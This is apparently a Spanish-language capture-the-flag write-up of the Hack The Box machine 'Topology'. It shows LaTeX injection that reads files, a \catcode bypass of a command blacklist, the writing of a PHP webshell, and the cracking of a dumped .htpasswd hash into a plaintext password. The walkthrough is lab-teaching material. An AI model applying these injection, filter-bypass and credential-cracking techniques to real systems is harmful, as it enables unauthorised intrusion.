Topology permite generar imagenes de ecuaciones utilizando LaTex, mediante esta, logramos la escritura de archivos con codigo PHP que posteriormente nos dio acceso a la maquina. Se muestran multiples “payloads” que nos ayudaron a acceder a archivos y a dos primeros usuarios. Finalmente escalamos privilegios tras ejecutar comandos con gnuplot.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.93 scan initiated Sat Jun 10 21:07:17 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.217Nmap scan report for 10.10.11.217
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)|256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)|_ 256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Miskatonic University | Topology Group
Service Info: Host: topology.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 10 21:08:27 2023 -- 1 IP address (1 host up) scanned in 70.54 seconds
Web Site
Observamos un sitio web en el puerto 80, se lista el staff del grupo Topology, que posiblemente podriamos utilizar como nombres de usuarios.
En el sitio observamos un dominio y subdominio, ademas un posible nombre de usuario: lklein.
1
2
3
4
5
6
7
8
9
10
[..]lklein@topology.htb
[..]<p>• <a href="http://latex.topology.htb/equation.php">LaTeX Equation Generator</a> - create .PNGs of LaTeX
equations in your browser</p>
[..]
Subdomains
Realizamos una enumeracion de subdominios y encontramos dos nuevas: dev y stats.
El subdominio dev.topology.htb necesita credenciales para acceder.
stats.topology.htb
El subdominio stats muestra unicamente dos graficas.
LaTex
En latex.topology.htb observamos una lista de archivos, en demo/ encontramos varias iamgenes de ecuaciones, tempfiles/ un archivo de log.
/equation.php muestra un formulario e informacion para generar imagenes PNG para ecuaciones a partir de la sintaxis de LaTex. Ademas se menciona que esta en ‘math mode’ (modes).
Enviamos la sintaxis de ejemplo modificando unos valores, observamos el resultado en la imagen.
LaTex Injection
Utilizamos la sintaxis mostrada en LaTex - HackTricks para la lectura de archivos. En este caso realizamos la lectura de la primera linea del archivo /etc/passwd.
Sin embargo tras intentar ralizar la lectura de archivos completos no fue posible ya que existen varios comandos restringidos o, al menos encontramos algunos de ellos restringidos.
Utilizando la documentacion de LaTex y con la ayuda de HackTricks logramos craftear distintos payloads que nos permitieron la lectura de cierto numero de lineas y tambien logramos identificar que existe un limite de 200 caracteres por lo cual es limitada la lectura a 30+ lineas con los payloads encontrados.
Sin embargo, existen caracteres que al parecer no son aceptados posiblemente por el modo math en el que esta siendo ejecutado, ya que al intentar realizar la lectura de mas de seis lineas del archivo equation.php no muestra ningun resultado. La ruta completa del archivo la encontramos adivinando el directorio en /var/www/.
Asi mismo logramos encontrar que existe el archivo .htaccess para el subdominio dev, donde se especifica el archivo .htpasswd el cual no pudimos leer, o no tenemos permisos para leer o existe algun caracter que no nos permite la lectura.
Descubrimos tambien que es posible realizar la escritura dentro del archivo de log con el comando \typeout, sin embargo no podemos utilizar esto a nuestro favor ya que el archivo de log es borrado luego de unos segundos.
1
\typeout{<?php something();}
www-data - filecontents
Descubrimos dos formas para ejecutar comandos a traves de LaTex mediante la escritura de archivos, la primera utilizando filecontents.
Write File
Encontramos que filecontents puede crear y escribir dentro de un archivo.
Para no trabajar con multiples archivos podemos especificar la opcion overwrite para sobreescribir el contenido del archivo, en este caso creamos un pequeno webshell.
<?php// latex to png generator by vdaisley
//
// TODO: error handling
//
error_reporting(0);if(empty($_GET['eqn'])){echo'
<!DOCTYPE html>
<html lang="en">
<head>
<title>LaTeX Equation Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<style>
body {
min-height: 100vh;
max-width: 700px;
background-color: light-grey;
margin: 0 auto;
}
</style>
<body>
<div>
<h1>LaTeX Equation Generator</h1>
<p>Need to quickly generate a good looking equation for a website, like this?
<br><br>
<center><img src="example.png" /></center>
<br><br>
</p>
<p>Use this equation generator to create a .PNG file.</p>
<p>Please enter LaTeX inline math mode syntax in the text field (only oneliners supported at the moment). Clicking "Generate" will directly return a .PNG file that you can save with Ctrl+S (or Command+S if on Mac).</p>
<form action="equation.php" method="get">
<div class="form-group row">
<div class="col-8">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fa fa-code"></i>
</div>
</div>
<input id="text" name="eqn" placeholder="Enter LaTeX code here" type="text" class="form-control" aria-describedby="textHelpBlock">
</div>
</div>
<button name="submit" type="submit" class="btn btn-primary">Generate</button>
</div>
</form>
<div>
<h2>Examples</h2>
<p>Here are a few code examples that contain the basic math commands to make LaTeX typeset beautiful equations:</p>
<table class="table">
<thead>
<tr>
<th scope="col">Description</th>
<th scope="col">LaTeX code</th>
<th scope="col">Output</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Fractions</th>
<td><samp>\frac{x+5}{y-3}</samp></td>
<td><img src="demo/fraction.png" /></td>
</tr>
<tr>
<th scope="row">Greek letters</th>
<td><samp>\alpha \beta \gamma</samp></td>
<td><img src="demo/greek.png" /></td>
</tr>
<tr>
<th scope="row">Summations</th>
<td><samp>\sum_{n=1}^\infty</samp></td>
<td><img src="demo/summ.png" /></td>
</tr>
<tr>
<th scope="row">Square root</th>
<td><samp>\sqrt[n]{1+x}</samp></td>
<td><img src="demo/sqrt.png" /></td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
';}else{$texinput=$_GET['eqn'];$filterstrings=array("\\immediate","\\usepackage","\\input","\\write","\\loop","\\include","\\@","\\while","\\def","\\url","\\href");foreach($filterstringsas$filterstring){if(stripos($texinput,$filterstring)!==FALSE){$texinput="\$Illegal command detected. Sorry.\$";break;}}if(strlen($texinput)>=200){$texinput="Input too long. Sorry.";}$errormsg="Something went wrong. Sorry.";// texfile content, insert default header and user input
$texsource="\\documentclass{standalone}
\\input{../header}
\\begin{document}
$".$texinput."$"."\\end{document}";// create random filename
$fileid=uniqid(rand(),true);$texfilename="tempfiles/".$fileid.".tex";$texfile=fopen("$texfilename","w");fputs($texfile,$texsource);fclose($texfile);chdir(dirname($texfilename));exec("pdflatex ".basename($texfilename)." > /dev/null 2>&1");exec("convert -density 300 ".$fileid.".pdf "."$fileid".".png > /dev/null 2>&1");$fp=fopen($fileid.".png",'rb');header("Content-Type: image/png");header("Content-Length: ".filesize($fileid.".png"));fpassthru($fp);// delete temp image
fclose($fp);exec("rm -f ".$fileid.".*");exit;}?>
Vdaisley from www-data
Dentro del directorio del subdominio dev, encontramos el archivo .htpasswd.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@topology:/var/www/dev$ ls -lah
ls -lah
total 40K
drwxr-xr-x 2 www-data www-data 4.0K Jan 17 12:26 .
drwxr-xr-x 6 root root 4.0K May 19 13:04 ..
-rw-r--r-- 1 www-data www-data 100 Jan 17 12:26 .htaccess
-rw-r--r-- 1 www-data www-data 47 Jan 17 12:26 .htpasswd
-rw-r--r-- 1 www-data www-data 1.1K Jan 17 12:26 LICENSE
-rw-r--r-- 1 www-data www-data 7.0K Jan 17 12:26 index.html
-rw-r--r-- 1 www-data www-data 1.7K Jan 17 12:26 script.js
-rw-r--r-- 1 www-data www-data 5.6K Jan 17 12:26 styles.css
www-data@topology:/var/www/dev$ cat .htpasswd
cat .htpasswd
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
www-data@topology:/var/www/dev$
Utilizamos john para crackear el hash encontrado.
1
2
3
4
5
6
7
8
9
10
11
12
π ~/htb/topology ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long"Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash(md5crypt, crypt(3)$1$ (and variants)[MD5 256/256 AVX2 8x3])Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20 (vdaisley)1g 0:00:00:04 DONE (2023-06-12 19:51) 0.2020g/s 201153p/s 201153c/s 201153C/s callel..caitlyn09
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/topology ❯
Utilizamos las credenciales logrando obtener acceso como vdaisley y nuestra flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@topology:/var/www/dev$ su vdaisley
su vdaisley
Password: calculus20
vdaisley@topology:/var/www/dev$ whoami
whoami
vdaisley
vdaisley@topology:/var/www/dev$ cdcdvdaisley@topology:~$ ls
ls
user.txt
vdaisley@topology:~$ cat user.txt
cat user.txt
a06f73d89d37fc8cf7ac2c13ee10d172
vdaisley@topology:~$
π ~/htb/topology ❯ ssh vdaisley@topology.htb # calculus20The authenticity of host 'topology.htb (10.10.11.217)' can't be established.
ED25519 key fingerprint is SHA256:F9cjnqv7HiOrntVKpXYGmE9oEaCfHm5pjfgayE/0OK0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'topology.htb' (ED25519) to the list of known hosts.
vdaisley@topology.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Last login: Tue Jun 6 08:13:40 2023 from 10.10.14.46
vdaisley@topology:~$ whoami;pwd;id
vdaisley
/home/vdaisley
uid=1007(vdaisley)gid=1007(vdaisley)groups=1007(vdaisley)vdaisley@topology:~$
www-data & Vdaisley via catcode
Esta seria la segunda forma de ejecutar comandos a traves de LaTex, en este caso utilizamos catcode para realizar bypass al filtro de comandos, este nos permitio ejecutar multiples comandos.
Latex - Catcode
En la documentacion de Catcode 0 se muestra un ejemplo en el que reemplaza el \ por x, es decir los comandos ya no se definen como \command si no xcommand.
El ejemplo (simplificado):
1
2
3
\def\foo{LaTex}\catcode`x=0xfoo
Realizamos una comparacion, sin catcode y con catcode en overleaf.
Observamos que el resultado es el mismo y no afecta en la ejecucion y resultado.
Write Files
Con lo anterior, utilizamos el payload Write File para escribir un nuevo archivo, en este caso sabemos que \write esta en blacklist, por lo que con catcode facilmente podriamos realizar “bypass”.
Al enviar la sintaxis modificada el archivo es creado con su contenido, vemos el resultado. Con ello podriamos realizar la escritura de una webshell o directamente ejecutar comandos en la maquina.
www-data
Esta es la segunda forma en la que podriamos obtener una shell como www-data, sin utilizar filecontents*. Unicamente modificamos el codigo PHP a ejecutar.
Se muestra el contenido del archivo passwd.tex, sin embargo no es posible leer archivos que contengan caracteres especiales, por lo que esta seria una limitante.
En el segundo hacemos uso de mbox, este, nos permitio realizar la lectura del archivo .htpasswd el cual contiene el caracter $ el cual es un caracter especial o reservado en LaTex.
El contenido del archivo es el hash, el cual ya se mostro anteriormente, por lo que esta seria una segunda forma para obtener acceso con este usuario (vdaisley).
Ejecutamos pspy y observamos que existe un cronjob que ejecuta el script getdata.sh, vemos que realiza una busqueda de todos los archivos con extension .plt dentro de /opt/gnuplot/ y ejecuta gnuplot sobre estos.